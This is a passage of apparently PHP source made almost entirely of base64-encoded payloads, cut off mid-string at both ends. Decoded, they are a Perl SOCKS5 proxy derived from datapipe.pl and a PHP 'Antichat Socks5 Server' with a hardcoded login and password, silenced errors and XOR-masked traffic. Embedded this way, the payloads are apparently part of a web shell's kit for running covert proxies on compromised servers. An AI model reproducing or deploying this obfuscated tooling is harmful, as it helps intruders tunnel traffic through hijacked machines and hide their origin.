b3IgIGRpZSAiQ2FuJ3QgYmluZCBwb3J0ICRwb3J0XG4iOwoKd2hpbGUoJGNsaWVudCA9ICRiaW5kLT5hY2NlcHQoKSkgewogICRjbGllbnQtPmF1dG9mbHVzaCgpOwoKICBpZihmb3JrKCkpeyAkY2xpZW50LT5jbG9zZSgpOyB9CiAgZWxzZSB7ICRiaW5kLT5jbG9zZSgpOyBuZXdfY2xpZW50KCRjbGllbnQpOyBleGl0KCk7IH0KfQoKc3ViIG5ld19jbGllbnQgewogIGxvY2FsICR0LCAkaSwgJGJ1ZmYsICRvcmQsICRzdWNjZXNzOwogIGxvY2FsICRjbGllbnQgPSAkX1swXTsKICBzeXNyZWFkKCRjbGllbnQsICRidWZmLCAxKTsKCiAgaWYob3JkKCRidWZmKSA9PSA1KSB7CiAgICBzeXNyZWFkKCRjbGllbnQsICRidWZmLCAxKTsKICAgICR0ID0gb3JkKCRidWZmKTsKCiAgICB1bmxlc3Moc3lzcmVhZCgkY2xpZW50LCAkYnVmZiwgJHQpID09ICR0KSB7IHJldHVybjsgfQoKICAgICRzdWNjZXNzID0gMDsKICAgIGZvcigkaSA9IDA7ICRpIDwgJHQ7ICRpKyspIHsKICAgICAgJG9yZCA9IG9yZChzdWJzdHIoJGJ1ZmYsICRpLCAxKSk7CiAgICAgIGlmKCRvcmQgPT0gMCAmJiAhJGF1dGhfZW5hYmxlZCkgewogICAgICAgIHN5c3dyaXRlKCRjbGllbnQsICJceDA1XHgwMCIsIDIpOwogICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgYnJlYWs7CiAgICAgIH0KICAgICAgZWxzaWYoJG9yZCA9PSAyICYmICRhdXRoX2VuYWJsZWQpIHsKICAgICAgICB1bmxlc3MoZG9fYXV0aCgkY2xpZW50KSl7IHJldHVybjsgfQogICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgYnJlYWs7CiAgICAgIH0KICAgIH0KCiAgICBpZigkc3VjY2VzcykgewogICAgICAkdCA9IHN5c3JlYWQoJGNsaWVudCwgJGJ1ZmYsIDMpOwoKICAgICAgaWYoc3Vic3RyKCRidWZmLCAwLCAxKSA9PSAnXHgwNScpIHsKICAgICAgICBpZihvcmQoc3Vic3RyKCRidWZmLCAyLCAxKSkgPT0gMCkgeyAjIHJlc2VydmVkCiAgICAgICAgICAoJGhvc3QsICRyYXdfaG9zdCkgPSBzb2Nrc19nZXRfaG9zdCgkY2xpZW50KTsKICAgICAgICAgIGlmKCEkaG9zdCkgeyAgcmV0dXJuOyB9CiAgICAgICAgICAoJHBvcnQsICRyYXdfcG9ydCkgPSBzb2Nrc19nZXRfcG9ydCgkY2xpZW50KTsKICAgICAgICAgIGlmKCEkcG9ydCkgeyByZXR1cm47IH0KICAgICAgICAgICRvcmQgPSBvcmQoc3Vic3RyKCRidWZmLCAxLCAxKSk7CiAgICAgICAgICAkYnVmZiA9ICJceDA1XHgwMFx4MDAiLiRyYXdfaG9zdC4kcmF3X3BvcnQ7CiAgICAgICAgICBzeXN3cml0ZSgkY2xpZW50LCAkYnVmZiwgbGVuZ3RoKCRidWZmKSk7CiAgICAgICAgICBzb2Nrc19kbygkb3JkLCAkY2xpZW50LCAkaG9zdCwgJHBvcnQpOwogICAgICAgIH0KICAgICAgfQogICAgfSBlbHNlIHsgc3lzd3JpdGUoJGNsaWVudCwgIlx4MDVceEZGIiwgMik7IH07CiAgfQogICRjbGllbnQtPmNsb3NlKCk7Cn0KCnN1YiBkb19hdXRoIHsKICBsb2NhbCAkYnVmZiwgJGxvZ2luLCAkcGFzczsKICBsb2NhbCAkY2xpZW50ID0gJF9bMF07CgogIHN5c3dyaXRlKCRjbGllbnQsICJceDA1XHgwMiIsIDIpOwogIHN5c3JlYWQoJGNsaWVudCwgJGJ1ZmYsIDEpOwoKICBpZihvcmQoJGJ1ZmYpID09IDEpIHsKICAgIHN5c3JlYWQoJGNsaWVudCwgJGJ1ZmYsIDEpOwogICAgc3lzcmVhZCgkY2xpZW50LCAkbG9naW4sIG9yZCgkYnVmZikpOwogICAgc3lzcmVhZCgkY2xpZW50LCAkYnVmZiwgMSk7CiAgICBzeXNyZWFkKCRjbGllbnQsICRwYXNzLCBvcmQoJGJ1ZmYpKTsKCiAgICBpZigkbG9naW4gZXEgJGF1dGhfbG9naW4gJiYgJHBhc3MgZXEgJGF1dGhfcGFzcykgewogICAgICBzeXN3cml0ZSgkY2xpZW50LCAiXHgwNVx4MDAiLCAyKTsKICAgICAgcmV0dXJuIDE7CiAgICB9IGVsc2UgeyBzeXN3cml0ZSgkY2xpZW50LCAiXHgwNVx4MDEiLCAyKTsgfQogIH0KCiAgJGNsaWVudC0+Y2xvc2UoKTsKICByZXR1cm4gMDsKfQoKc3ViIHNvY2tzX2dldF9ob3N0IHsKICBsb2NhbCAkY2xpZW50ID0gJF9bMF07CiAgbG9jYWwgJHQsICRvcmQsICRyYXdfaG9zdDsKICBsb2NhbCAkaG9zdCA9ICIiOwoKICBzeXNyZWFkKCRjbGllbnQsICR0LCAxKTsKICAkb3JkID0gb3JkKCR0KTsKICBpZigkb3JkID09IDEpIHsKICAgIHN5c3JlYWQoJGNsaWVudCwgJHJhd19ob3N0LCA0KTsKICAgIEBob3N0ID0gJHJhd19ob3N0ID1+IC8oLikvZzsKICAgICRob3N0ID0gb3JkKCRob3N0WzBdKS4iLiIub3JkKCRob3N0WzFdKS4iLiIub3JkKCRob3N0WzJdKS4iLiIub3JkKCRob3N0WzNdKTsKICB9IGVsc2lmKCRvcmQgPT0gMykgewogICAgc3lzcmVhZCgkY2xpZW50LCAkcmF3X2hvc3QsIDEpOwogICAgc3lzcmVhZCgkY2xpZW50LCAkaG9zdCwgb3JkKCRyYXdfaG9zdCkpOwogICAgJHJhd19ob3N0IC49ICRob3N0OwogIH0gZWxzaWYoJG9yZCA9PSA0KSB7CiAgICAjaXB2NiAtIG5vdCBzdXBwb3J0ZWQKICB9CgogIHJldHVybiAoJGhvc3QsICR0LiRyYXdfaG9zdCk7Cn0KCnN1YiBzb2Nrc19nZXRfcG9ydCB7CiAgbG9jYWwgJGNsaWVudCA9ICRfWzBdOwogIGxvY2FsICRyYXdfcG9ydCwgJHBvcnQ7CiAgc3lzcmVhZCgkY2xpZW50LCAkcmF3X3BvcnQsIDIpOwogICRwb3J0ID0gb3JkKHN1YnN0cigkcmF3X3BvcnQsIDAsIDEpKSA8PCA4IHwgb3JkKHN1YnN0cigkcmF3X3BvcnQsIDEsIDEpKTsKICByZXR1cm4gKCRwb3J0LCAkcmF3X3BvcnQpOwp9CgpzdWIgc29ja3NfZG8gewogIGxvY2FsKCR0LCAkY2xpZW50LCAkaG9zdCwgJHBvcnQpID0gQF87CgogIGlmKCR0ID09IDEpIHsgc29ja3NfY29ubmVjdCgkY2xpZW50LCAkaG9zdCwgJHBvcnQpOyB9CiAgZWxzaWYoJHQgPT0gMikgeyBzb2Nrc19iaW5kKCRjbGllbnQsICRob3N0LCAkcG9ydCk7IH0KICBlbHNpZigkdCA9PSAzKSB7IHNvY2tzX3VkcF9hc3NvY2lhdGUoJGNsaWVudCwgJGhvc3QsICRwb3J0KTsgfQogIGVsc2UgeyByZXR1cm4gMDsgfQoKICByZXR1cm4gMTsKfQoKIyB0aGlzIHBhcnQgb2YgY29kZSB3YXMgdGFrZW4gZnJvbSBkYXRhcGlwZS5wbCB1dGlsaXR5LAojIHdyaXR0ZW4gYnkgQ3VUVGVyIChjdXR0ZXJbYXRdcmVhbC54YWtlcC5ydSkKIyB1dGlsaXR5IGxheXMgb24gY3Bhbi5vcmcKCnN1YiBzb2Nrc19jb25uZWN0IHsKICBteSgkY2xpZW50LCAkaG9zdCwgJHBvcnQpID0gQF87CiAgbXkgJHRhcmdldCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiAkaG9zdCwgUGVlclBvcnQgPT4gJHBvcnQsIFByb3RvID0+ICd0Y3AnLCBUeXBlID0+IFNPQ0tfU1RSRUFNKTsKCiAgdW5sZXNzKCR0YXJnZXQpIHsgcmV0dXJuOyB9CgogICR0YXJnZXQtPmF1dG9mbHVzaCgpOwogIHdoaWxlKCRjbGllbnQgfHwgJHRhcmdldCkgewogICAgbXkgJHJpbiA9ICIiOwogICAgdmVjKCRyaW4sIGZpbGVubygkY2xpZW50KSwgMSkgPSAxIGlmICRjbGllbnQ7CiAgICB2ZWMoJHJpbiwgZmlsZW5vKCR0YXJnZXQpLCAxKSA9IDEgaWYgJHRhcmdldDsKICAgIG15KCRyb3V0LCAkZW91dCk7CiAgICBzZWxlY3QoJHJvdXQgPSAkcmluLCB1bmRlZiwgJGVvdXQgPSAkcmluLCAxMjApOwogICAgaWYgKCEkcm91dCAgJiYgICEkZW91dCkgeyByZXR1cm47IH0KICAgIG15ICRjYnVmZmVyID0gIiI7CiAgICBteSAkdGJ1ZmZlciA9ICIiOwoKICAgIGlmICgkY2xpZW50ICYmICh2ZWMoJGVvdXQsIGZpbGVubygkY2xpZW50KSwgMSkgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJGNsaWVudCksIDEpKSkgewogICAgICBteSAkcmVzdWx0ID0gc3lzcmVhZCgkY2xpZW50LCAkdGJ1ZmZlciwgMTAyNCk7CiAgICAgIGlmICghZGVmaW5lZCgkcmVzdWx0KSB8fCAhJHJlc3VsdCkgeyByZXR1cm47IH0KICAgIH0KCiAgICBpZiAoJHRhcmdldCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGFyZ2V0KSwgMSkgIHx8IHZlYygkcm91dCwgZmlsZW5vKCR0YXJnZXQpLCAxKSkpIHsKICAgICAgbXkgJHJlc3VsdCA9IHN5c3JlYWQoJHRhcmdldCwgJGNidWZmZXIsIDEwMjQpOwogICAgICBpZiAoIWRlZmluZWQoJHJlc3VsdCkgfHwgISRyZXN1bHQpIHsgcmV0dXJuOyB9CiAgICAgIH0KCiAgICBpZiAoJGZoICAmJiAgJHRidWZmZXIpIHsgcHJpbnQgJGZoICR0YnVmZmVyOyB9CgogICAgd2hpbGUgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7CiAgICAgIG15ICRyZXMgPSBzeXN3cml0ZSgkdGFyZ2V0LCAkdGJ1ZmZlciwgJGxlbik7CiAgICAgIGlmICgkcmVzID4gMCkgeyAkdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7IH0gZWxzZSB7IHJldHVybjsgfQogICAgfQoKICAgIHdoaWxlIChteSAkbGVuID0gbGVuZ3RoKCRjYnVmZmVyKSkgewogICAgICBteSAkcmVzID0gc3lzd3JpdGUoJGNsaWVudCwgJGNidWZmZXIsICRsZW4pOwogICAgICBpZiAoJHJlcyA+IDApIHsgJGNidWZmZXIgPSBzdWJzdHIoJGNidWZmZXIsICRyZXMpOyB9IGVsc2UgeyByZXR1cm47IH0KICAgIH0KICB9Cn0KCnN1YiBzb2Nrc19iaW5kIHsKICBteSgkY2xpZW50LCAkaG9zdCwgJHBvcnQpID0gQF87CiAgIyBub3Qgc3VwcG9ydGVkCn0KCnN1YiBzb2Nrc191ZHBfYXNzb2NpYXRlIHsKICBteSgkY2xpZW50LCAkaG9zdCwgJHBvcnQpID0gQF87CiAgIyBub3Qgc3VwcG9ydGVkCn0=";
$prx_zadox="PD8KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyAJCQkgICAgQW50aWNoYXQgU29ja3M1IFNlcnZlciB2IDEuMC4xIChTZWN1cmUgRWRpdGlvbikJCSMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX19fX19fX19fX19fX19fX19fX19fX19fX19fICMKIyAgIEZlYXR1cmVzOgkJCQkJCSAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgCQkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgIHdyaXR0ZW4gYnkgWmFkb3hsaWsgICAgICAgIwojICAgWytdIExPR0lOL1BBU1NXT1JEIGF1dGhvcml6YXRpb24gICAgICAgICAgICAgICAgICAgICAgfCAgIHrgZG94bGlrQGFudGljaGF0W2Tu8l1ydSAgIwojICAgWy1dIEFueSBvdGhlciBhdXRob3JpemF0aW9uIHR5cGUgICAgICAgICAgICAgICAgICAgICAgfCAgIGljcTogNTExNTAxCSAgICAgICAgIwojICAgWytdIFRocmVhZHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgIHd3dy56YWRveGxpay5pbmZvICAgICAgICAgIwojICAgWytdIENPTk5FQ1QgbWV0aG9kICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgIHd3dy5hbnRpY2hhdC5ydSAgICAgICAgICAgIwojICAgWy1dIEJJTkQgbWV0aG9kICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfF9fX19fX19fX19fX19fX19fX19fX19fX19fX18gIwojICAgWy1dIFVEUCBBU1NPQ0lBVEUgbWV0aG9kCQkJCQkJCQkjCiMgICBbK10gVW5peCBwbGF0Zm9ybQkJCQkJCQkJCSMKIyAgIFsrXSBXaW5kb3dzIHBsYXRmb3JtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgIFsrXSBJcHY0IGFkZHJlc3MgdHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgIFsrXSBEb21haW4gbmFtZSBhZGRyZXNzIHR5cGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgIFstXQlJcHY2IGFkZHJlc3MgdHlwZQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojIERvY3VtZW50cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojIGZ0cDovL2Z0cC5yZmMtZWRpdG9yLm9yZy9pbi1ub3Rlcy9yZmMxOTI4LnR4dCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojIGZ0cDovL2Z0cC5yZmMtZWRpdG9yLm9yZy9pbi1ub3Rlcy9yZmMxOTI5LnR4dCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJCSMKIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKlwKfCAgICAgICAgICAgICAgICAgICAgICAJCVMgRSBUIFQgSSBOIEcgUyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl8ClwqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCgokc2V0dGluZ3MJPSBhcnJheSgnUE9SVCcJCQk9PiAzMDAzLAoJCQknQVVUSCcJCQk9PiAwLAoJCQkKCQkJJ1NFQ1VSRScJCT0+IDEsICAgICAgICAgICAvLyBJZiAxIC0gc2VjdXJlIGNvbm5lY3Rpb24KCQkJJ1NFQ1VSSVRZX0tFWScgICAgICAgICAgPT4KCgkJCSJTZWN1cml0eSBrZXkgZ2dnZ2FnZ2dnIiwJCS8vIElmIFNlY3VyZSA9IDEgYW5kCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBDbGllbnQgZG9lcyBkZWZpbmUga2V5CgoJCQknU1RPUEZJTEUnCQk9PiAnc3RvcC50eHQnLAkvLyBjcmVhdGUgdGhpcyBmaWxlCgkJCQkJCQkJLy8gdG8gc3RvcCB0aGUgc2VydmVyCgkJCSdMT0dJTicJCQk9PiAndGFsYWtpbicsCS8vIGlmIEFVVEggPT0gMQoJCQknUEFTU1dPUkQnCQk9PiAncXdlcnR5JywJLy8gaWYgQVVUSCA9PSAxCgkJCSdNQVhfQ09OTkVDVElPTlMnCT0+IDE1LAoJCQknTE9HX0ZJTEUnCQk9PiAnLTEnLAkJLy8gaWYgLTEgLSBubyBsb2dzCgkJCSdBVVRIX1RJTUVPVVQnCQk9PiAzLAkJLy8gc2VjCgkJCSdDT05ORUNUX1RJTUVPVVQnCT0+IDMsCQkvLyBUaW1lb3V0IGZvciBjb25uZWN0aW9uCgkJCQkJCQkJLy8gdG8gcmVtb3RlIHNlcnZlciAoc2VjKQoJCSAgICAgICApOwovLyBSZW1vdGUgaG9zdHMsIHdoaWNoIGFyZSBub3Qgc3VwcG9ydGVkIGZvciB3b3JraW5nIHdpdGgKJGJsb2NrZWRfaG9zdHMgID0gYXJyYXkoJzgxLjE3Ny42Ljc4JywKCQkJJzg4LjIxMi4yMjEuMzQnLAoKCQkgICAgICAgKTsKLy8gQ2xpZW50IGhvc3RzLCB3aGljaCBhcmUgbm90IHN1cHBvcnRlZCBmb3Igd29ya2luZyB3aXRoIChiYW5uZWQpCiRibG9ja2VkX3VzZXJzICA9IGFycmF5KCcxMjcuMC4wLjInCgkJICAgICAgICk7Ci8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCgpzZXRfdGltZV9saW1pdCgwKSBPUiBESUUoJ3NldF90aW1lX2xpbWl0KDApIGZhaWxlZCcpOwplcnJvcl9yZXBvcnRpbmcoMCk7CgovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qXAp8ICAgICAgICAgICAgICAgICAgICAgIAkgICAgIEQgRSBGIEkgTiBJIFQgSSBPIE4gUyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl8ClwqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCkRFRklORSgnVkVSJywJCQkiXHgwNSIpOwpERUZJTkUoJ0NPTk5FQ1QnLAkJIlx4MDEiKTsKREVGSU5FKCdBVVRIX01FVEhPRCcsCQkiXHgwMiIpOwpERUZJTkUoJ0FVVEhfTk9UX1JFUScsCQkiXHgwMCIpOwpERUZJTkUoJ1dST05HX0FVVEhfTUVUSE9EUycsCSJceEZGIik7CkRFRklORSgnUkVQX1NVQ0NFU1MnLAkJIlx4MDAiKTsKREVGSU5FKCdSRVBfV1JPTkdfQ09NTUFORCcsCSJceDA3Iik7CkRFRklORSgnUkVQX1NPQ0tTX0VSUk9SJywJIlx4MDEiKTsKREVGSU5FKCdSRVBfQkxPQ0tFRF9IT1NUJywJIlx4MDIiKTsKREVGSU5FKCdSRVBfQkFEX0hPU1QnLAkJIlx4MDQiKTsKREVGSU5FKCdJUHY0JywJCQkiXHgwMSIpOwpERUZJTkUoJ0RPTUFJTicsCQkiXHgwMyIpOwpERUZJTkUoJ0NMT1NFRF9TT0NLRVQnLAkJLTEyKTsKREVGSU5FKCdOT19EQVRBJywJCS0xMSk7CkRFRklORSgnTk9UX0FMTF9EQVRBJywJCS0xMCk7CkRFRklORSgnU1RBVFVTX1JFQ1ZTVEFSVFJFUScsCS05KTsKREVGSU5FKCdTVEFUVVNfUkVDVkFVVEhSRVEnLAktOCk7CkRFRklORSgnU1RBVFVTX1JFUVVFU1RSRUNWJywJLTcpOwpERUZJTkUoJ1NUQVRVU19DT05ORUNUSU5HJywJLTYpOwpERUZJTkUoJ1NUQVRVU19XT1JLSU5HJywJLTUpOwpERUZJTkUoJ1NUQVRVU19SRUNWU0VDS0VZJywJLTQpOwoKLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8KJGNsaWVudHNvY2tldHMJPSBhcnJheSgpOwokc2VydmVyc29ja2V0cwk9IGFycmF5KCk7CiRyZWN2ZGF0YQk9IGFycmF5KCk7CiRzb2NrZXRzX3N0YXR1cwk9IGFycmF5KCk7CiR0aW1lb3V0ICAgICAgICA9IGFycmF5KCk7CiRyZXFtZXNzYWdlICAgICA9IGFycmF5KCk7CiRpcHBvcnQJCT0gYXJyYXkoKTsKCiRzZWNrZXkJCT0gYXJyYXkoKTsKJHNlY2tleV9wb3MxCT0gYXJyYXkoKTsKJHNlY2tleV9wb3MyCT0gYXJyYXkoKTsKLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKlwKfCAgICAgICAgICAgICAgICAgICAgICAJICAgICBGIFUgTiBDIFQgSSBPIE4gUyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl8ClwqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCmZ1bmN0aW9uIGdldHN0cmluZygkcywgJGxlbiA9IDEsICYka2V5cG9zID0gMCwgJGlkID0gLTEpewoJZ2xvYmFsICRzZWNrZXksICRzZXR0aW5nczsKCgoJaWYoKCRtZXNzYWdlID0gc29ja2V0X3JlYWQoJHMsICRsZW4sIDApKSA9PT0gRkFMU0UpewoKCSAJaWYoc29ja2V0X2xhc3RfZXJyb3IoJHMpID09IDEwMDM1KQoJCQlyZXR1cm4gIE5PX0RBVEE7CgkJZWxzZQoJCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KIAlpZigkbWVzc2FnZSA9PSAiIikKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCS8vZWNobyAkbWVzc2FnZTsKCWlmKCRpZCAhPSAtMSAmJiAkc2V0dGluZ3NbJ1NFQ1VSRSddID09IDEpIC8vaWYgZW5jcnlwdAoJCWZvcigkaSA9IDA7ICRpIDwgc3RybGVuKCRtZXNzYWdlKTsgJGkrKyl7CgkJCWlmKCFpc3NldCgkc2Vja2V5WyRpZF1bJGtleXBvc10pKQoJCSAgICAgICAgICAgICAgICAka2V5cG9zID0gMDsKCQkJJG1lc3NhZ2VbJGldID0gY2hyKG9yZCgkc2Vja2V5WyRpZF1bJGtleXBvc10pIF4gb3JkKCRtZXNzYWdlWyRpXSkpOwoKCQkJJGtleXBvcysrOwoJCX0KCgoJcmV0dXJuICRtZXNzYWdlOwoKCQp9CgpmdW5jdGlvbiBzZW5kc3RyaW5nKCYkcywgJG1lc3MsICYka2V5cG9zID0gMCwgJGlkID0gLTEpewoJZ2xvYmFsICRzZWNrZXksICRzZXR0aW5nczsKCWlmKCRpZCAhPSAtMSAmJiAkc2V0dGluZ3NbJ1NFQ1VSRSddID09IDEpIC8vaWYgZW5jcnlwdAoJCWZvcigkaSA9IDA7ICRpIDwgc3RybGVuKCRtZXNzKTsgJGkrKyl7CgkJICAgICAgICBpZighaXNzZXQoJHNlY2tleVskaWRdWyRrZXlwb3NdKSkKCQkgICAgICAgICAgICAgICAgJGtleXBvcyA9IDA7CgkJCSRtZXNzWyRpXSA9IGNocihvcmQoJHNlY2tleVskaWRdWyRrZXlwb3NdKSBeIG9yZCgkbWVzc1skaV0pKTsKCgkJCSRrZXlwb3MrKzsKCQl9CglyZXR1cm4gc29ja2V0X3dyaXRlKCRzLCAgJG1lc3MsIHN0cmxlbigkbWVzcykpOwp9CgpmdW5jdGlvbiB4b3JfZigkbWVzcywgJiRrZXlwb3MsICRpZCl7CglnbG9iYWwgJHNlY2tleTsKCWZvcigkaSA9IDA7ICRpIDwgc3RybGVuKCRtZXNzKTsgJGkrKyl7CgkgICAgICAgIGlmKCFpc3NldCgkc2Vja2V5WyRpZF1bJGtleXBvc10pKQoJICAgICAgICAgICAgICAgICRrZXlwb3MgPSAwOwoJCSRtZXNzWyRpXSA9IGNocihvcmQoJHNlY2tleVskaWRdWyRrZXlwb3NdKSBeIG9yZCgkbWVzc1skaV0pKTsKCQkJJGtleXBvcysrOwoJfQoJcmV0dXJuICRtZXNzOwp9CgpmdW5jdGlvbiBCcmlkZ2VFc3RhYmxpc2gyKCRpZCl7CglnbG9iYWwJJHNlcnZlcnNvY2tldHMsICRjbGllbnRzb2NrZXRzLCAkc29ja2V0c19zdGF0dXMsICRzZXR0aW5ncywgJHJlcW1lc3NhZ2UsCgkJJHRpbWVvdXQsICRpcHBvcnQsICRzZWNrZXlfcG9zMSwgJHNlY2tleV9wb3MyOwoJc2VuZHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLAlWRVIuUkVQX1NVQ0NFU1MuIlx4MDBceDAxIi4kaXBwb3J0WyRpZF0sICYkc2Vja2V5X3BvczFbJGlkXSwgJGlkKTsKICAgICAgICAkc29ja2V0c19zdGF0dXNbJGlkXSA9IFNUQVRVU19XT1JLSU5HOwoJCn0KCmZ1bmN0aW9uIEJyaWRnZUVzdGFibGlzaDEoJGlkKXsKCWdsb2JhbAkkc2VydmVyc29ja2V0cywgJGNsaWVudHNvY2tldHMsICRzb2NrZXRzX3N0YXR1cywgJHNldHRpbmdzLCAkcmVxbWVzc2FnZSwKCQkkdGltZW91dCwgJGJsb2NrZWRfaG9zdHMsICRpcHBvcnQsICRzZWNrZXlfcG9zMSwgJHNlY2tleV9wb3MyOwoJJG1lc3NhZ2UgPSAnJzsKCWlmKCgkbWVzc2FnZSA9IGdldHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLCAxMDAsICYkc2Vja2V5X3BvczJbJGlkXSwgJGlkKSkgPT09IENMT1NFRF9TT0NLRVQpewoJCWNsb3NlKCRpZCk7CgkJcmV0dXJuIENMT1NFRF9TT0NLRVQ7Cgl9CgllbHNlaWYoJG1lc3NhZ2UgPT09IE5PX0RBVEEpCgkJcmV0dXJuIE5PVF9BTExfREFUQTsKICAgICAgICBAJHJlcW1lc3NhZ2VbJGlkXSAuPSAkbWVzc2FnZTsKICAgICAgICAvLyBDaGVja2luZyB0aGUgcGFja2V0CiAgICAgICAgaWYoJHJlcW1lc3NhZ2VbJGlkXVswXSAhPT0gVkVSKXsKCQljbG9zZSgkaWQpOwoJCXJldHVybiBDTE9TRURfU09DS0VUOwoJfQoKCWlmKCFpc3NldCgkcmVxbWVzc2FnZVskaWRdWzFdKSkKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwoJaWYoJHJlcW1lc3NhZ2VbJGlkXVsxXSAhPT0gQ09OTkVDVCkKCXsKCSAgICAgICAgc29ja2V0X2dldHNvY2tuYW1lICgkY2xpZW50c29ja2V0c1skaWRdLCAkYWRkciwgJHBvcnQpOwoJCSRhZGRyID0gZXhwbG9kZSgnLicsICRhZGRyKTsKCQlmb3IoJGkgPSAwOyAkaSA8IDQ7ICRpKyspCgkJCSRhZGRyWyRpXSA9IGNocigkYWRkclskaV0pOwoJCSRhZGRyID0gaW1wbG9kZSgnJywgJGFkZHIpOwoJICAgICAgICBzZW5kc3RyaW5nKCRjbGllbnRzb2NrZXRzWyRpZF0sCVZFUi5SRVBfV1JPTkdfQ09NTUFORC4iXHgwMFx4MDFceDAwIi4KCQkiXHgwMFx4MDBceDAwXHgwMFx4MDAiLCAmJHNlY2tleV9wb3MxWyRpZF0sICRpZCk7CgkJY2xvc2UoJGlkKTsKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KCWlmKCFpc3NldCgkcmVxbWVzc2FnZVskaWRdWzJdKSkKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwoJaWYoJHJlcW1lc3NhZ2VbJGlkXVsyXSAhPT0gIlx4MDAiKQoJewoJCWNsb3NlKCRpZCk7CgkJcmV0dXJuIENMT1NFRF9TT0NLRVQ7Cgl9CgoJaWYoIWlzc2V0KCRyZXFtZXNzYWdlWyR